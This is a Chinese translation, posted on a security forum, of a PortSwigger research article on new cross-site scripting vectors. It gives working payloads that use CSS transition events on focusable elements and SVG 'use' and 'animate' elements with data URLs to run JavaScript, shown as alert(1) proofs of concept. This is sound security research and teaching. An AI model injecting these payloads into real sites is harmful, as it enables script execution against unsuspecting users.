首页
社区
课程
招聘
[翻译]新的XSS载体
发表于: 2022-5-28 16:16 856

[翻译]新的XSS载体

2022-5-28 16:16
856

New XSS vectors

原文地址:https://portswigger.net/research/new-xss-vectors#top

翻译:梦幻的彼岸


基于无样式块的transition(过渡)事件

所以,最近,我正在更新XSS备忘单,以修复某些因浏览器更新而过时的载体。在看载体时,transition(过渡)事件一直萦绕在我的脑海中。他们需要样式块和事件:

<style>:target {color:red;}</style>
<xss id=x style="transition:color 1s" ontransitionend=alert(1)></xss>

我想取消对样式块的要求。我想知道哪些浏览器的样式是默认添加的?我在网上搜索了一下,W3Schools上的一个页面引导我探索这个问题。某些标签有focus选择器--这非常有趣,因为这意味着transition(过渡)将与他们一起工作! 浏览列表时,我注意到轮廓线正在被使用,然后我记得当元素具有可访问性时,Chrome 会在元素周围放置轮廓线。

这意味着如果我们把transition(过渡)应用到轮廓属性,就可以取消样式块的要求。这个载体适用于任何focusable标签。

<xss style="display:block;transition:outline 1s;" ontransitionend=alert(1) id=x tabindex=1>test</xss>

适当的XSS黑客攻击! 就像以前一样。

备忘单SVG“使用”元素载体

不久前,我发现了一些不错的基于SVG的载体,你可能不太熟悉。最近的一次浏览器更新修改了Chrome和Firefox的 "use "元素的行为。你现在可以在 "use "元素的数据URL内自动执行嵌入SVG的JavaScript:

<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyB4bWxuczp4bGluaz0naHR0cDovL3d3dy53My5vcmcvMTk5OS94bGluaycgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnPgo8aW1hZ2UgaHJlZj0iMSIgb25lcnJvcj0iYWxlcnQoMSkiIC8+Cjwvc3ZnPg==#x" /></svg>

这是base64解码后的数据:

<svg id='x' xmlns='http://www.w3.org/2000/svg'
 xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'>
<image href="1" onerror="alert(1)" />
</svg>

虽然你不一定要使用base64,但你也可以这样做:

<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'><image href='1' onerror='alert(1)' /></svg>#x" />

最后,你可以使用animate标签来改变 "use "元素的超链接(href),以执行JavaScript:

<svg><animate xlink:href="#x" attributeName="href" values="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg'>
<image href='1' onerror='alert(1)' /></svg>#x" />
<use id=x />

如果你喜欢这些载体并想了解更多,我推荐你去我们的网络安全学院的XSS部分,在那里你可以通过我们的互动实验室来磨练你的技能--或者访问我们的XSS备忘单来了解更多。




[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-5-28 16:25 被梦幻的彼岸编辑 ,原因:
收藏
免费 1
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//